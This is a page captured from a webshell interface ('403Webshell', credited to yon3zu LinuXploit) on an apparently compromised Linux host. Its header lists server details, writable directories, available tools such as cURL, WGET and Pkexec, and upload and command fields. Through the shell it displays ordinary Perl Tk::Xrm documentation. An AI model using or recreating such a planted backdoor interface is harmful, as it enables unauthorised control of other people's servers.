403Webshell
Server IP : 172.67.220.81  /  Your IP : 216.73.216.41
Web Server : Apache
System : Linux semi1.us.cloudlogin.co 5.10.244-xeon-hst #1 SMP Sun Sep 14 17:09:20 UTC 2025 x86_64
User : xessglobal ( 271017)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : ON
Directory :  /lib64/perl5/vendor_perl/Tk/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/perl5/vendor_perl/Tk/Xrm.pod
=head1 NAME

Tk::Xrm - X Resource/Defaults/Options routines that obey the rules.

=for pm Tk/Xrm.pm

=for category Creating and Configuring Widgets

=head1 SYNOPSIS

   use Tk;
   use Tk::Xrm;

=head1 DESCRIPTION

Using this modules causes Tk's Option code to be replaced by versions
which use routines from <X11/Xresource.h> - i.e. same ones every other
X toolkit uses.

Result is that "matching" of name/Class with the options database follows
the same rules as other X toolkits. This makes it more predictable,
and makes it easier to have a single ~/.Xdefaults file which gives sensible
results for both Tk and (say) Motif applications.

=head1 BUGS

Currently B<optionAdd>(I<key> =E<gt> I<value>?, I<priority>?) ignores optional
priority completely and just does XrmPutStringResource().
Perhaps it should be more subtle and do XrmMergeDatabases() or
XrmCombineDatabase().

This version is a little slower than Tk's re-invention but there is
more optimization that can be done.

=head1 SEE ALSO

L<Tk::option|Tk::option>

=head1 KEYWORDS

database, option, priority, retrieve

=cut


Youez - 2016 - github.com/yon3zu
LinuXploit